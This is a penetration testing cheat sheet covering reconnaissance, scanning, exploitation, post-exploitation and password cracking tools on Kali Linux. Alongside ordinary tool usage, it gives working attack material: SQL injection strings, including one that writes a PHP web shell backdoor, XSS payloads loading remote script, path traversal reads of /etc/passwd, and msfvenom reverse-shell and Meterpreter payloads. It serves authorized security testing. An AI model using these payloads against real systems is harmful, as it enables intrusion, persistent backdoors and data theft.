Penetration Testing Cheat Sheet

Penetration Testing

This is more of a checklist for myself. May contain useful tips and tricks. Everything was tested on Kali Linux v2021.4 (64-bit).

For help with any of the tools write <tool_name> [-h | -hh | --help] or man <tool_name>.

Sometimes -h can be mistaken for a host or some other option. If that’s the case, use -hh or --help instead, or read the manual with man.

Some tools do similar tasks, but get slightly different results. Run everything you can.

Keep in mind when no protocol nor port number in a URL is specified, i.e. if you specify only somesite.com, some tools will default to HTTP protocol and port 80.

If you didn’t already, read the OWASP Testing Guide v4.0 and OWASP Web Security Testing Guide v4.2.

Highly recommend reading Common Security Issues in Financially-Orientated Web.

Websites that you should use while writing the report:

cwe.mitre.org/data
owasp.org/projects
cheatsheetseries.owasp.org
nvd.nist.gov/vuln-metrics/cvss/v3-calculator
nvd.nist.gov/ncp/repository
attack.mitre.org
https://cve.reconshell.com

If you are interested, check my WiFi penetration testing cheat sheet.

Future plans:

  • more email gathering tools,
  • Bash one-liner to transform people.txt into emails.txt, and emails.txt into usernames.txt,
  • Subfinder and Findomain tools,
  • more Google Dorks,
  • Gobuster tool,
  • more vulnerability scanning examples using NSE,
  • more WordPress tools,
  • more Nuclei examples,
  • HTTP smuggling,
  • parameter pollution,
  • email injection,
  • insecure object deserialization,
  • create an ASP/ASP.NET web shell,
  • pre-shared key cracking,
  • email spoofing.

0. Install Tools


Most of the tools can be installed with Linux package manager:

apt-get update && apt-get install -y sometool

Some tools need to be downloaded and installed with Python:

python3 setup.py install

Some tools need to be downloaded and installed with Golang:

go build sometool.go

To set up Golang run apt-get install -y golang, add the following lines to ~/.zshrc, then, run source ~/.zshrc:

export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH

If you use other shell, you might need to write these lines to ~/.bashrc, etc.

Some tools that are in the form of binaries or shell scripts can be moved to /usr/bin/ for the ease of use:

mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool

1. Reconnaissance


Keep in mind that some websites are accessible only through older web browsers like Internet Explorer.

Keep in mind that some websites may be missing the index page and may not redirect you to the home page at all. If that’s the case, try to manually guess a full path to the home page, use wayback machine (getallurls) to find old URLs, or try directory fuzzing with DirBuster.

Search the Internet for default paths and files for a specific web application. Use the information gathered in combination with Google Dorks or httpx to find the same paths/files on different websites. For not so common web applications, try to find and browse the source code for default paths/files.

You can find the application’s source code on GitHubGitLabsearchcode, etc.

Search the application’s source code for API keys, SSH keys, credentials, tokens, hidden endpoints and domains, etc.

Inspect the web console for possible errors. Inspect the application’s source code for possible errors and comments.

Don’t forget to access a web server over an IP address because you may find server’s default welcome page or some other content.

1.1 Useful Websites

Dmitry

Gather information:

dmitry -win somedomain.com | tee dmitry_results.txt

For more options run man dmitry or dmitry -h.

theHarvester

Gather information:

theHarvester -f theHarvester_results.xml -b 'baidu,bing,duckduckgo,google,yahoo,netcraft,linkedin,twitter' -l 500 -d somedomain.com

For more options run theHarvester -h.

Sometimes the output file might default to /usr/lib/python3/dist-packages/theHarvester/ directory.

Extract hostnames from the results:

grep -Po '(?<=\<hostname\>)[^\s]+?(?=\<\/hostname\>)' theHarvester_results.xml | sort -uf | tee -a subdomains.txt

Extract emails from the results:

grep -Po '(?<=\<email\>)[^\s]+?(?=\<\/email\>)' theHarvester_results.xml | sort -uf | tee -a emails.txt

Extract people from the results:

grep -Po '(?<=record\:\"people\"\,result\:\").+?(?=\"\})' theHarvester_results.xml.html | sort -uf | tee -a people.txt

FOCA (Fingerprinting Organizations with Collected Archives)

Find metadata and hidden information in files.

Tested on Windows 10 Enterprise OS (64-bit).

Setup:

GUI is very intuitive.

Metagoofil

Find and download specified or all files using Google Dorks:

metagoofil -o metagoofil_results -u 'Randomize User-Agent' -r 10 -e 45 -l 100 -n 100 -w -t 'pdf,doc,docx,xls,xlsx' -d somedomain.com

For more options run metagoofil -h.

Extract authors from the files:

for file in metagoofil_results/*; do exiftool -Author "${file}"; done | grep -Po '(?<=\:\ ).+' | sort -uf | tee -a people.txt

For more options run man exiftool.

assetfinder

Enumerate subdomains using OSINT:

assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt

For more options run assetfinder -h.

Sublist3r

Enumerate subdomains using OSINT:

sublist3r -o sublist3r_results.txt -d somedomain.com

For more options run sublist3r -h.

Amass

Gather information:

amass enum -passive -o amass_enum_results.txt -d somedomain.com

For more options run amass -h.

dig

Fetch name servers:

dig +noall +answer -t NS somedomain.com

Fetch exchange servers:

dig +noall +answer -t MX somedomain.com

Interrogate a specified domain name server:

dig +noall +answer -t ANY somedomain.com @ns.somedomain.com

Fetch the zone file for a specified domain name server:

dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com

Reverse DNS lookup:

dig +noall +answer -x 192.168.8.5

For more options run man dig or dig -h.

Fierce

Interrogate domain name servers:

fierce -file fierce_std_results.txt --domain somedomain.com

fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com

For more options run fierce -h.

By default, Fierce will perform brute force attack with its built-in wordlist.

DNSRecon

Interrogate domain name servers:

dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com

dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com

dnsrecon -v --iw -f --lifetime 1 --threads 30 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com

For more options run man dnsrecon or dnsrecon -h.

DNSRecon can perform a brute force attack with a user-defined wordlist, but make sure you specify a full path to the wordlist; otherwise, DNSRecon might not recognize it.

Make sure you specify a full path to the output file; otherwise, it will default to /usr/share/dnsrecon/ directory (i.e. to the root directory).

Extract hostnames from the standard/zone transfer/brute force results:

jq -r '.[] | if (.type == "A" or .type == "AAAA" or .type == "CNAME" or .type == "PTR" or .type == "NS" or .type == "MX") then (.name, .target, .exchange) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txt

Extract IPs from the standard/zone transfer/brute force results:

jq -r '.[] | if (.type == "A" or .type == "CNAME" or .type == "PTR" or .type == "NS" or .type == "MX") then (.address) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a ips.txt

Extract canonical names for the subdomain takeover vulnerability from the standard/zone transfer/brute force results:

jq -r '.[] | if (.type == "CNAME") then (.target) else (empty) end | select(. != null)' dnsrecon_std_results.json | sort -uf | tee -a canonical_names.txt

Reverse DNS lookup:

dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24

Extract virtual hosts from the reverse DNS lookup results:

jq -r '.[] | if (type == "array") then (.[].name) else (empty) end | select(. != null)' dnsrecon_reverse_results.json | sort -uf | tee -a subdomains.txt

host

Gather IPs for the given domains/subdomains (ask for A records):

for subdomain in $(cat subdomains.txt); do res=$(host -t A "${subdomain}" | grep -Po '(?<=has\ address\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_ips.txt

grep -Po '(?<=\|\ )[^\s]+' subdomains_to_ips.txt | sort -uf | tee -a ips.txt

Check if domains/subdomains are alive with httpx.

Gather virtual hosts for the given IPs (ask for PTR records):

for ip in $(cat ips.txt); do res=$(host -t PTR "${ip}" | grep -Po '(?<=domain\ name\ pointer\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_subdomains.txt

grep -Po '(?<=\|\ )[^\s]+' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt

Gather canonical names for the given domains/subdomains (ask for CNAME records):

for subdomain in $(cat subdomains.txt); do res=$(host -t PTR "${subdomain}" | grep -Po '(?<=is\ an\ alias\ for\ )[^\s]+(?<!\.)'); if [[ ! -z $res ]]; then echo "${subdomain} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a subdomains_to_canonical_names.txt

grep -Po '(?<=\|\ )[^\s]+' subdomains_to_canonical_names.txt | sort -uf | tee -a canonical_names.txt

httpx

Download the latest version from GitHub. See how to install the tool.

Check if domains/subdomains are alive or not:

httpx -o subdomains_live.txt -l subdomains.txt

httpx -random-agent -json -o httpx_results.json -threads 30 -timeout 3 -l subdomains.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443

Extract domains/subdomains from JSON results:

jq -r '.url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt

jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_redirect.txt

jq -r 'select(."status-code" < 300 or ."status-code" >= 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_redirect_none.txt

grep -Po '(?<=\:\/\/)[^\s]+(?=\:)' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txt

jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_2xx.txt

jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_3xx.txt

jq -r 'select(."status-code" >= 400 and ."status-code" < 500) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_4xx.txt

jq -r 'select(."status-code" == 401) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_401.txt

jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_results.json | sort -uf | tee -a subdomains_403.txt

Check if a specified path exists:

httpx -status-code -content-length -o httpx_results.txt -l subdomains_live.txt -path /somepath/

For more options run httpx -h.

snallygaster

Download the latest version from GitHub. See how to install the tool.

Search a web server for sensitive files:

snallygaster --nowww somesite.com | tee snallygaster_results.txt

for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=http\:\/\/)[^\s]+'); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt

for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=https\:\/\/)[^\s]+'); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt

For more options run snallygaster -h.

getallurls

Download the latest version from GitHub. See how to install the tool.

Get URLs from wayback machine:

gau somedomain.com | tee gau_results.txt

for subdomain in $(cat subdomains_live.txt); do gau "${subdomain}"; done | tee gau_results.txt

For more options run gau -h.

Filter URLs from the results:

httpx -random-agent -json -o httpx_gau_results.json -threads 30 -timeout 3 -l gau_results.txt

jq -r 'select(."status-code" >= 200 and ."status-code" < 300) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt

jq -r 'select(."status-code" >= 300 and ."status-code" < 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt

jq -r 'select(."status-code" >= 400) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txt

jq -r 'select(."status-code" == 403) | .url | select(. != null)' httpx_gau_results.json | sort -uf | tee gau_403_results.txt

Google Dorks

Google Dorks databases and web tools:

Check the list of /.well-known/ files here.

Google Dorks will not show directories nor files that are disallowed in robots.txt, to check for such directories and files use httpx.

Append site:somedomain.com to limit your scope to a specified domain or site:*.somedomain.com to limit your scope only to subdomains.

Simple Google Dorks examples:

inurl:/robots.txt ext:txt intext:disallow

inurl:/.well-known/security.txt ext:txt

inurl:/info.php ext:php intext:"php version"

intitle:"index of /" intext:"parent directory"

intitle:"index of /.git" intext:"parent directory"

inurl:"/gitweb.cgi"

intitle:"Dashboard [Jenkins]"

(intext:"mysql database" AND intext:db_password) ext:txt

intext:"-----BEGIN PGP PRIVATE KEY BLOCK-----" (ext:pem OR ext:key OR ext:txt)

Bypassing 401 and 403

Find out how to bypass 4xx HTTP response status codes from my other project.

DirBuster

Brute force directories and file names on a web server.

Don’t forget that GNU/Linux OS has a case sensitive file system, so make sure you use an appropriate wordlists.

DirBuster might take a long time to finish depending on the settings and wordlist used. Supports the recursive search.

dirbuster

All DirBuster’s wordlists are located at /usr/share/dirbuster/wordlists/ directory.

Parsero

Test all robots.txt entries:

parsero -sb -u somesite.com

For more options run parsero -h.

WhatWeb

Identify a website:

whatweb -v somesite.com

For more options run man whatweb or whatweb -h.

Wordlists

Download a useful collection of multiple types of lists for security assessments.

Installation:

apt-get update && apt-get install seclists

Lists will be stored at /usr/share/seclists/.

Or, manually download the collection from GitHub.

Another popular wordlist collections:

2. Scanning/Enumeration


Keep in mind that web applications can be hosted on other ports besides 80 (HTTP) and 443 (HTTPS), e.g. they can be hosted on port 8443 (HTTPS).

Keep in mind that on ports 80 (HTTP) and 443 (HTTPS) a web server can host different web applications or some other services entirely. Use Ncat or Telnet for banner grabbing.

Keep in mind that on different URL paths a web server can host different web applications or some other services entirely, e.g. somesite.com/app_one/ and somesite.com/app_two/.

While scanning for vulnerabilities or running any other intensive scans, periodically check the web application/service in case it crashed so you can alert your client as soon as possible. Also, many times you might get temporarily blocked by the web application firewall (WAF) or some other security product and all your subsequent requests will be invalid.

If a web application all of sudden stops responding, try to access the web application with your mobile data (i.e. use a different IP). It is possible that your current IP was temporarily blocked.

Send an email message to a non-existent address at a target domain, it will often reveal useful internal network information through a nondelivery notification (NDN).

Try to invest into Nessus Professional and Burp Suite Professional or any other similar permium tools if you can afford them.

2.1 Useful Websites

Nmap

For better results, use IPs instead of domain names.

Ping sweep (map live hosts):

nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24

nmap -sn -oG nmap_ping_sweep_results.txt -iL cidr.txt

Extract live hosts from the results:

grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips.txt

TCP scan (all ports):

nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24

nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidr.txt

[Variation] TCP scan (all ports):

mkdir nmap_tcp_results

for ip in $(cat ips.txt); do nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt -p- "${ip}"; done

UDP scan (only important ports):

nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24

nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidr.txt

[Variation] UDP scan (only important ports):

mkdir nmap_udp_results

for ip in $(cat ips.txt); do nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results/nmap_udp_results_${ip//./_}.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done
OptionDescription
-snPing scan – disable port scan
-PnTreat all hosts as online — skip host discovery
-n/-RNever do DNS resolution/Always resolve (default: sometimes)
-sS/sT/sATCP SYN/Connect()/ACK
-sUUDP scan
-p/-p-Only scan specified ports/Scan all ports
–top-portsScan most common ports
-sVProbe open ports to determine service/version info
-OEnable OS detection
-sCSame as –script=default
–scriptScript scan (takes time to finish)
–script-argsProvide arguments to scripts
–script-helpShow help about scripts
-oN/-oX/-oGOutput scan in normal, XML, and Grepable format
-vIncrease verbosity level (use -vv or more for greater effect)
–reasonDisplay the reason a port is in a particular state
-AEnable OS detection, version detection, script scanning, and traceroute

For more options run man nmap or nmap -h.

All Nmap’s scripts are located at /usr/share/nmap/scripts/ directory. Read more about the scripts here.

NSE examples:

nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306

nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'

nmap -nv --script='ssl-heartbleed' -iL cidr.txt

You can find rockyou.txt and subdomains-top1mil.txt wordlists in SecLists.

Nikto

Scan a web server:

nikto -output nikto_results.txt -h somesite.com -p 80

For more options run man nikto or nikto -h.

WPScan

Scan a WordPress website:

wpscan -o wpscan_results.txt --url somesite.com

For more options run man wpscan or wpscan -h.

testssl.sh

Download the latest version from GitHub. See how to install the tool.

Test an SSL/TLS certificate (i.e. SSL/TLS ciphers, protocols, etc.):

testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com

For more options run testssl -hh.

You can also use testssl.sh to exploit SSL/TLS vulnerabilities.

OpenSSL

Test a web server for Heartbleed vulnerability:

for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt

for subdomain in $(cat subdomains_live_long.txt | grep -Po '(?<=https\:\/\/)[^\s]+'); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt

For more options run man openssl or openssl help.

3. Gaining Access/Exploting


Always try the null session login (i.e. no password login) or search the Internet for default credentials for a specific web application.

Try to manipulate cookies or tokens to gain access or elevate privileges.

Try to change an HTTP POST request into an HTTP GET request (i.e. into a query string) and see if a server will accept it.

Turn off JavaScript in your web browser and check the web application behaviour again.

Check the web application behaviour on mobile devices, e.g. check m.somesite.com for vulnerabilities because some features might work differently.

If you want to automate your code injection testing, check the Wordlists sub-section for code injection wordlists. Most of the wordlists also include obfuscated code injections.

Don’t forget to remove all the created artifacts after you are done testing.

3.1 Useful Websites

Subdomain Takeover

Gather as much information as you can for a target domain, see how in 1. Reconnaissance.

Gather organization’s names for the given IPs (search for WHOIS records):

for ip in $(cat ips.txt); do res=$(whois "${ip}" | grep -Po '(?<=OrgName\:\ \ \ \ \ \ \ \ ).+'); if [[ ! -z $res ]]; then echo "${ip} | ${res//$'\n'/ | }"; fi; done | sort -uf | tee -a ips_to_organization_names.txt

grep -Po '(?<=\|\ )(?(?!\ \|).)+' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txt

Check if any IP belongs to GitHub organization.

Gather canonical names with host.

Check if domains/subdomains are dead or not, look for NXDOMAINSERVFAIL, or REFUSED status codes:

for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" A +noall +comments | grep -Po '(?<=status\:\ )[^\s]+(?=\,)'); echo "${subdomain} | ${res}"; done | sort -uf | tee -a subdomains_status.txt

grep -v 'NOERROR' subdomains.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_status_error.txt

grep 'NOERROR' subdomains.txt | grep -Po '[^\s]+(?=\ \|)' | sort -uf | tee -a subdomains_status_error_none.txt

You can double check if domains/subdomains are dead or not with httpx.

Check if hosting providers for the found domains/subdomains are vulnerable to domain/subdomain takeover at EdOverflow/can-i-take-over-xyz. Credits to the author!

Subzy

To download and install the tool run:

go get -u -v github.com/lukasikic/subzy

Check if you can takeover domains/subdomains:

subzy -concurrency 30 -timeout 3 -targets subdomains.txt | tee subzy_results.txt

For more options run subzy.

subjack

To download and install the tool run:

go get -u -v github.com/haccer/subjack

Check if you can takeover domains/subdomains:

subjack -v -o subjack_results.json -t 30 -timeout 3 -a -m -w subdomains.txt

For more options run subjack.

Nuclei

Download the latest version from GitHub. See how to install the tool.

Download the latest Nuclei templates.

Vulnerability scan:

nuclei -c 500 -t nuclei-templates -o nuclei_results.txt -l urls.txt

For more options run nuclei -h.

dotdotpwn

Traverse a path (e.g. somesite.com/../../etc/shadow):

dotdotpwn -m http -f /etc/passwd -k root -h somesite.com

dotdotpwn -m http -S -f /windows/win.ini -k mci -h somesite.com

dotdotpwn -m http-url -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'

dotdotpwn -m http-url -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=file://TRAVERSAL'

Try to prepend a protocol such as file://gopher://dict://php://jar://tftp://, etc. to the file path.

Check some additional directory traversal tips at swisskyrepo/PayloadsAllTheThings. Credits to the author!

OptionDescription
-mModule (http, http-url, ftp, tftp payload, stdout)
-hHostname
-OOperating System detection for intelligent fuzzing (nmap)
-oOperating System type if known (“windows”, “unix”, or “generic”)
-dDepth of traversals (default: 6)
-fSpecific filename (default: according to OS detected)
-SUse SSL for HTTP and Payload module (not needed for http-url)
-uURL with the part to be fuzzed marked as TRAVERSAL
-kText pattern to match in the response
-pFilename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword
-xPort to connect (default: HTTP=80; FTP=21; TFTP=69)
-UUsername (default: ‘anonymous’)
-PPassword (default: ‘dot(at)dot.pwn’)
-MHTTP Method to use when using the ‘http’ module (GET, POST, HEAD, COPY, MOVE, default: GET)
-bBreak after the first vulnerability is found
-CContinue if no data was received from host

For more options run dotdotpwn -h.

HTTP Response Splitting

Also known as CRLF injection. CRLF refers to carriage return (ASCII 13\r) and line feed (ASCII 10\n).

Fixate a session cookie:

somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789

When encoded, \r refers to %0D and \n refers to %0A.

Session fixation is one of many techniques used in combination with HTTP response splitting. Search the Internet for more information.

Cross-Site Scripting (XSS)

Simple cross-site scripting (XSS) examples:

<script>alert(1)</script>

<script src="https://myserver.com/xss.js"></script>

<img src="https://github.com/favicon.ico" onload="alert(1)">

Hosting JavaScript on Pastebin doesn’t work because Pastebin returns the plain text content type.

Find out more about reflected and stored cross-site scripting (XSS) attacks from my other project.

Valid emails with embedded XSS:

user+(<script>alert(1)</script>)@somedomain.com

user@somedomain(<script>alert(1)</script>).com

"<script>alert(1)</script>"@somedomain.com

SQL Injection

The following examples were tested on MySQL database.

Try to produce database errors by injecting a single-quote, back-slash, double-hyphen, forward-slash, or period.

Boolean-based SQLi:

' OR 1=1-- 

' OR 1=2-- 

Note that MySQL requires a space between the comment symbol and the next character.

Union-based SQLi:

' UNION SELECT 1, 2, 3, 4-- 

' UNION SELECT 1, concat_ws(' | ', database(), current_user(), version()), 3, 4-- 

' UNION SELECT 1, concat_ws(' | ', table_schema, table_name, column_name, data_type, character_maximum_length), 3, 4 FROM information_schema.columns-- 

' UNION SELECT 1, load_file('..\\..\\apache\\conf\\httpd.conf'), 3, 4-- 

Use the union-based SQLi only when you are able to use the same communication channel to both launch the attack and gather results.

The goal is to determine the exact number of columns in the application query and to figure out which of them are displaying to the user.

Time-based SQLi:

' AND (SELECT 1 FROM (SELECT sleep(2)) test)-- 

' AND (SELECT 1 FROM (SELECT CASE user() WHEN 'root@127.0.0.1' THEN sleep(2) ELSE sleep(0) END) test)-- 

' AND (SELECT 1 FROM (SELECT CASE substring(current_user(), 1, 1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)-- 

' AND (SELECT CASE substring(password, 1, 1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM schema.users WHERE id = 1)-- 

' AND IF(version() LIKE '5%', sleep(2), sleep(0))--

Use the time-based SQLi when you are not able to see the results.

Inject a simple PHP web shell based on HTTP GET request:

' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("(".$_GET[$p].") 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","&lt;",$o);$o=str_replace(">","&gt;",$o);}echo "<pre>".$o."</pre>";unset($o);unset($_GET[$p]);} ?>' INTO DUMPFILE '..\\..\\htdocs\\backdoor.php'--

To successfully inject a web shell, the current database user must have a write permission.

Always make sure to properly close the surrounding code.

Read this article to learn how to bypass WAF.

sqlmap

Inject SQL code into request parameters:

sqlmap -a -u somesite.com/index.php?username=test&password=test

sqlmap -a -u somesite.com/index.php --data username=test&password=test

sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
OptionDescription
-uTarget URL
–dataData string to be sent through POST
–cookieHTTP Cookie header value
–proxyUse a proxy to connect to the target URL ([protocol://]host[:port])
-pTestable parameter(s)
–levelLevel of tests to perform (1-5, default: 1)
–riskRisk of tests to perform (1-3, default: 1)
-aRetrieve everything
-bRetrieve DBMS banner
–dump-allDump all DBMS databases tables entries
–os-shellPrompt for an interactive operating system shell
–os-pwnPrompt for an OOB shell, Meterpreter, or VNC
–sqlmap-shellPrompt for an interactive sqlmap shell
–wizardSimple wizard interface for beginner users

For more options run man sqlmapsqlmap -h, or sqlmap -hh.

Web Shells

Find out more about PHP shells from my other project.

Find out more about Java shells from my other project.

Send Payload With Python

Find out how to generate a reverse shell payload for Python and send it to a target machine from my other project.

4. Post Exploitation


4.1 Useful Websites

Generate a Reverse Shell Payload for Windows OS

To generate a Base64 encoded payload, use one of the following MSFvenom commands (modify them to your need):

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff | base64 -w 0 > payload.txt

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt

To generate a binary file, use one of the following MSFvenom commands (modify them to your need):

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b \x00\x0a\x0d\xff -o payload.bin

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin

To generate a DLL file, use one of the following MSFvenom commands (modify them to your need):

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b \x00\x0a\x0d\xff -o payload.dll

To generate a standalone executable, file use one of the following MSFvenom commands (modify them to your need):

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b \x00\x0a\x0d\xff -o payload.exe

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe

To generate an MSI file, use one of the following MSFvenom commands (modify them to your need):

msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi

msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b \x00\x0a\x0d\xff -o payload.msi

Bytecode might not work on the first try due to some other bad characters. Trial and error is the key.

So far there is no easy way to generate a DLL nor MSI file with a stageless meterpreter shell due to the size issues.

PowerShell Encoded Command

To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))

To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand $command

To decode a PowerShell encoded command, run the following PowerShell command:

[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))

Find out more about PowerShell reverse and bind TCP shells from my other project.

5. Password Cracking


Google a hash before trying to crack it because you might save yourself a lot of time and trouble.

Use Google DorksMetagoofil, or FOCA to find files and within file’s metadata domain usernames to brute force.

Keep in mind that you might lockout people’s accounts.

Keep in mind that some web forms implement CAPTCHA and/or hidden submission tokens which may prevent you from brute forcing. Try to submit requests without tokens or CAPTCHA.

You can find a bunch of wordlists in SecLists.

5.1 Useful Websites

crunch

Generate a lower-alpha-numeric wordlist:

crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt

You can see the list of all available charsets or add your own in charset.lst located at /usr/share/crunch/ directory.

Generate all the possible permutations for specified words:

crunch -o crunch_wordlist.txt -p admin 123 \!\"

crunch -o crunch_wordlist.txt -q words.txt

Generate all the possible combinations for a specified charset:

crunch 4 6 -o crunch_wordlist.txt -p admin123\!\"
OptionDescription
-dLimits the number of consecutive characters
-fSpecifies a character set from a file
-iInverts the output
